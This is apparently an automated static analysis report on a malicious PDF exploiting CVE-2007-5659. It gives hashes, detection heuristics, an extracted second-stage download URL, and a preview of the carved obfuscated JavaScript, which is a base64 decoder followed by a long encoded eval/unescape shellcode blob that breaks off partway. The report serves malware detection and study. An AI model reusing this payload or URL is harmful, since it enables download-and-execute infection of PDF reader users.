Malicious PDF — malware analysis report

Static analysis result for SHA-256 4883ad21ef5749f4…

MALICIOUS

PDF

3.1 KB First seen: 2013-04-22
MD5: 904169c208bc6e7bbe03b1736af98234 SHA-1: b922693b9a244c85c1ab57d8acfca430ebb59a88 SHA-256: 4883ad21ef5749f4679ac17a48be874ab8962207de7743e743c15599acf8cd7e
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated and appears to be a long encoded blob, suggesting it is designed to hide malicious code. The extracted artifact 'javascript_obj0009_000.js' is likely the payload. The exact intent of the script is unclear due to obfuscation, but it is highly probable that it attempts to download and execute a second-stage payload or exploit a vulnerability within the PDF reader.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 8

  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
          output = output + String.fromCharCode(chr1);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.counterstats.cn//getexe.php?spl=pdf_exp Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0009_000.js pdf-javascript-stream PDF /JS object 9 at offset 0xD6 21857 bytes
SHA-256: e7865934bfea99b7012a2644707ab34823161dac3f0a010068ab8df84a2e0c5a
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var keyXXXStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
function decode64(input) {
   var output = "";
   var chr1, chr2, chr3;
   var enc1, enc2, enc3, enc4;
   var i = 0;
   input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
   do {
      enc1 = keyXXXStr.indexOf(input.charAt(i++));
      enc2 = keyXXXStr.indexOf(input.charAt(i++));
      enc3 = keyXXXStr.indexOf(input.charAt(i++));
      enc4 = keyXXXStr.indexOf(input.charAt(i++));
      chr1 = (enc1 << 2) | (enc2 >> 4);
      chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
      chr3 = ((enc3 & 3) << 6) | enc4;
      output = output + String.fromCharCode(chr1);
      if (enc3 != 64) {
         output = output + String.fromCharCode(chr2);
      }
      if (enc4 != 64) {
         output = output + String.fromCharCode(chr3);
      }
   } while (i < input.length);
   return output;
}
var aasd = decode64("DQogdmFyIEJZUmpIdXZHVzEyID0gbmV3IEFycmF5KCk7DQogdmFyIFBmcnA3TEg2Y1RsOw0KIHZhciBsYXZlID0gZXZhbDsNCiAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTY4JTdhJTUwJTVhJTY4JTY4JTY3JTc1JTU5JTMxJTM5JTI4JTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTJjJTIwJTc0JTM2JTQyJTMxJTM3JTQxJTcyJTM2JTY3JTcwJTU2JTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTc3JTY4JTY5JTZjJTY1JTI4JTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTJlJTZjJTY1JTZlJTY3JTc0JTY4JTIwJTJhJTIwJTMyJTIwJTNjJTIwJTc0JTM2JTQyJTMxJTM3JTQxJTcyJTM2JTY3JTcwJTU2JTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTIwJTJiJTNkJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTIwJTNkJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTJlJTczJTc1JTYyJTczJTc0JTcyJTY5JTZlJTY3JTI4JTMwJTJjJTIwJTc0JTM2JTQyJTMxJTM3JTQxJTcyJTM2JTY3JTcwJTU2JTIwJTJmJTIwJTMyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTcyJTY1JTc0JTc1JTcyJTZlJTIwJTU3JTQ0JTUwJTUzJTRjJTcwJTUwJTM3JTY5JTRhJTc0JTNiJTIwJTIwJTIwJTdkJTIwJTIwIikpOyAgbGF2ZSh1bmVzY2FwZSgiJTIwJTIwJTIwJTIwJTY2JTc1JTZlJTYzJTc0JTY5JTZmJTZlJTIwJTZiJTdhJTQ2JTY1JTUzJTc1JTY3JTc4JTUzJTUwJTc5JTI4JTRhJTc1JTRmJTU2JTcyJTU1JTM3JTM1JTM4JTdhJTMwJTI5JTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTY5JTY2JTI4JTRhJTc1JTRmJTU2JTcyJTU1JTM3JTM1JTM4JTdhJTMwJTIwJTNkJTNkJTIwJTMwJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTc2JTU4JTM4JTM1JTM5JTUzJTQ5JTc5JTc5JTRmJTQ2JTIwJTNkJTIwJTMwJTc4JTMwJTYzJTMwJTYzJTMwJTYzJTMwJTYzJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRiJTM1JTYzJTZhJTY3JTYxJTM2JTVhJTMxJTc1JTc3JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTQ2JTI1JTc1JTM3JTM0JTM2JTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTM0JTM3JTMzJTI1JTc1JTM3JTM0JTM2JTMxJTI1JTc1JTMyJTQ1JTM3JTMzJTI1JTc1JTM2JTQ1JTM2JTMzJTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTRhJTc1JTRmJTU2JTcyJTU1JTM3JTM1JTM4JTdhJTMwJTIwJTNkJTNkJTIwJTMxJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTU4JTM4JTM1JTM5JTUzJTQ5JTc5JTc5JTRmJTQ2JTIwJTNkJTIwJTMwJTc4JTMzJTMwJTMzJTMwJTMzJTMwJTMzJTMwJTNiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRiJTM1JTYzJTZhJTY3JTYxJTM2JTVhJTMxJTc1JTc3JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTQ2JTI1JTc1JTM3JTM0JTM2JTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTM0JTM3JTMzJTI1JTc1JTM3JTM0JTM2JTMxJTI1JTc1JTMyJTQ1JTM3JTMzJTI1JTc1JTM2JTQ1JTM2JTMzJTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTY1JTZjJTczJTY1JTIwJTY5JTY2JTI4JTRhJTc1JTRmJTU2JTcyJTU1JTM3JTM1JTM4JTdhJTMwJTIwJTNkJTNkJTIwJTMyJTI5JTIwJTIwJTIwJTIwJTIwJTdiJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTRiJTM1JTYzJTZhJTY3JTYxJTM2JTVhJTMxJTc1JTc3JTIwJTNkJTIwJTIwJTc1JTZlJTY1JTczJTYzJTYxJTcwJTY1JTI4JTIyJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM4JTQyJTM2JTM0JTI1JTc1JTMzJTMwJTM0JTMwJTI1JTc1JTMwJTQzJTM3JTM4JTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQyJTMwJTQzJTI1JTc1JTMxJTQzJTM3JTMwJTI1JTc1JTM4JTQyJTQxJTQ0JTI1JTc1JTMwJTM4JTM1JTM4JTI1JTc1JTMwJTM5JTQ1JTQyJTI1JTc1JTM0JTMwJTM4JTQyJTI1JTc1JTM4JTQ0JTMzJTM0JTI1JTc1JTM3JTQzJTM0JTMwJTI1JTc1JTM1JTM4JTM4JTQyJTI1JTc1JTM2JTQxJTMzJTQzJTI1JTc1JTM1JTQxJTM0JTM0JTI1JTc1JTQ1JTMyJTQ0JTMxJTI1JTc1JTQ1JTMyJTMyJTQyJTI1JTc1JTQ1JTQzJTM4JTQyJTI1JTc1JTM0JTQ2JTQ1JTQyJTI1JTc1JTM1JTMyJTM1JTQxJTI1JTc1JTQ1JTQxJTM4JTMzJTI1JTc1JTM4JTM5JTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTM3JTM1JTM2JTI1JTc1JTM3JTMzJTM4JTQyJTI1JTc1JTM4JTQyJTMzJTQzJTI1JTc1JTMzJTMzJTM3JTM0JTI1JTc1JTMwJTMzJTM3JTM4JTI1JTc1JTM1JTM2JTQ2JTMzJTI1JTc1JTM3JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTMwJTI1JTc1JTMzJTMzJTQ2JTMzJTI1JTc1JTM0JTM5JTQzJTM5JTI1JTc1JTM0JTMxJTM1JTMwJTI1JTc1JTMzJTMzJTQxJTQ0JTI1JTc1JTMzJTM2JTQ2JTQ2JTI1JTc1JTQyJTQ1JTMwJTQ2JTI1JTc1JTMwJTMzJTMxJTM0JTI1JTc1JTQ2JTMyJTMzJTM4JTI1JTc1JTMwJTM4JTM3JTM0JTI1JTc1JTQzJTQ2JTQzJTMxJTI1JTc1JTMwJTMzJTMwJTQ0JTI1JTc1JTM0JTMwJTQ2JTQxJTI1JTc1JTQ1JTQ2JTQ1JTQyJTI1JTc1JTMzJTQyJTM1JTM4JTI1JTc1JTM3JTM1JTQ2JTM4JTI1JTc1JTM1JTQ1JTQ1JTM1JTI1JTc1JTM0JTM2JTM4JTQyJTI1JTc1JTMwJTMzJTMyJTM0JTI1JTc1JTM2JTM2JTQzJTMzJTI1JTc1JTMwJTQzJTM4JTQyJTI1JTc1JTM4JTQyJTM0JTM4JTI1JTc1JTMxJTQzJTM1JTM2JTI1JTc1JTQ0JTMzJTMwJTMzJTI1JTc1JTMwJTM0JTM4JTQyJTI1JTc1JTMwJTMzJTM4JTQxJTI1JTc1JTM1JTQ2JTQzJTMzJTI1JTc1JTM1JTMwJTM1JTQ1JTI1JTc1JTM4JTQ0JTQzJTMzJTI1JTc1JTMwJTM4JTM3JTQ0JTI1JTc1JTM1JTMyJTM1JTM3JTI1JTc1JTMzJTMzJTQyJTM4JTI1JTc1JTM4JTQxJTQzJTQxJTI1JTc1JTQ1JTM4JTM1JTQyJTI1JTc1JTQ2JTQ2JTQxJTMyJTI1JTc1JTQ2JTQ2JTQ2JTQ2JTI1JTc1JTQzJTMwJTMzJTMyJTI1JTc1JTQ2JTM3JTM4JTQyJTI1JTc1JTQxJTQ1JTQ2JTMyJTI1JTc1JTQyJTM4JTM0JTQ2JTI1JTc1JTMyJTQ1JTM2JTM1JTI1JTc1JTM3JTM4JTM2JTM1JTI1JTc1JTM2JTM2JTQxJTQyJTI1JTc1JTM2JTM2JTM5JTM4JTI1JTc1JTQyJTMwJTQxJTQyJTI1JTc1JTM4JTQxJTM2JTQzJTI1JTc1JTM5JTM4JTQ1JTMwJTI1JTc1JTM2JTM4JTM1JTMwJTI1JTc1JTM2JTQ1JTM2JTQ2JTI1JTc1JTM2JTM0JTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTM4JTI1JTc1JTM2JTQzJTM3JTMyJTI1JTc1JTM1JTM0JTM2JTQ0JTI1JTc1JTM4JTQ1JTQyJTM4JTI1JTc1JTMwJTQ1JTM0JTQ1JTI1JTc1JTQ2JTQ2JTQ1JTQzJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM1JTMwJTM5JTMzJTI1JTc1JTQzJTMwJTMzJTMzJTI1JTc1JTM1JTMwJTM1JTMwJTI1JTc1JTM4JTQyJTM1JTM2JTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTQzJTMyJTM4JTMzJTI1JTc1JTM4JTMzJTM3JTQ2JTI1JTc1JTMzJTMxJTQzJTMyJTI1JTc1JTM1JTMwJTM1JTMyJTI1JTc1JTMzJTM2JTQyJTM4JTI1JTc1JTMyJTQ2JTMxJTQxJTI1JTc1JTQ2JTQ2JTM3JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTMzJTMzJTM1JTQyJTI1JTc1JTM1JTM3JTQ2JTQ2JTI1JTc1JTQyJTM4JTM1JTM2JTI1JTc1JTQ2JTQ1JTM5JTM4JTI1JTc1JTMwJTQ1JTM4JTQxJTI1JTc1JTM1JTM1JTQ2JTQ2JTI1JTc1JTM1JTM3JTMwJTM0JTI1JTc1JTQ1JTQ2JTQyJTM4JTI1JTc1JTQ1JTMwJTQzJTQ1JTI1JTc1JTQ2JTQ2JTM2JTMwJTI1JTc1JTMwJTM0JTM1JTM1JTI1JTc1JTM3JTM0JTM2JTM4JTI1JTc1JTM3JTMwJTM3JTM0JTI1JTc1JTMyJTQ2JTMzJTQxJTI1JTc1JTM3JTM3JTMyJTQ2JTI1JTc1JTM3JTM3JTM3JTM3JTI1JTc1JTM2JTMzJTMyJTQ1JTI1JTc1JTM3JTM1JTM2JTQ2JTI1JTc1JTM3JTM0JTM2JTQ1JTI1JTc1JTM3JTMyJTM2JTM1JTI1JTc1JTM3JTM0JTM3JTMzJTI1JTc1JTM3JTM0JTM2JTMxJTI1JTc1JTMyJTQ1JTM3JTMzJTI1JTc1JTM2JTQ1JTM2JTMzJTI1JTc1JTMyJTQ2JTMyJTQ2JTI1JTc1JTM2JTM1JTM2JTM3JTI1JTc1JTM2JTM1JTM3JTM0JTI1JTc1JTM2JTM1JTM3JTM4JTI1JTc1JTM3JTMwJTMyJTQ1JTI1JTc1JTM3JTMwJTM2JTM4JTI1JTc1JTM3JTMzJTMzJTQ2JTI1JTc1JTM2JTQzJTM3JTMwJTI1JTc1JTM3JTMwJTMzJTQ0JTI1JTc1JTM2JTM2JTM2JTM0JTI1JTc1JTM2JTM1JTM1JTQ2JTI1JTc1JTM3JTMwJTM3JTM4JTIyJTI5JTNiJTIwJTIwJTIwJTIwJTIwJTdkJTIwJTIwJTIwJTIwJTIwJTc2JTYxJTcyJTIwJTUzJTM3JTZiJTM5JTYxJTQzJTRkJTcwJTdhJTMwJTUzJTIwJTNkJTIwJTMwJTc4JTM0J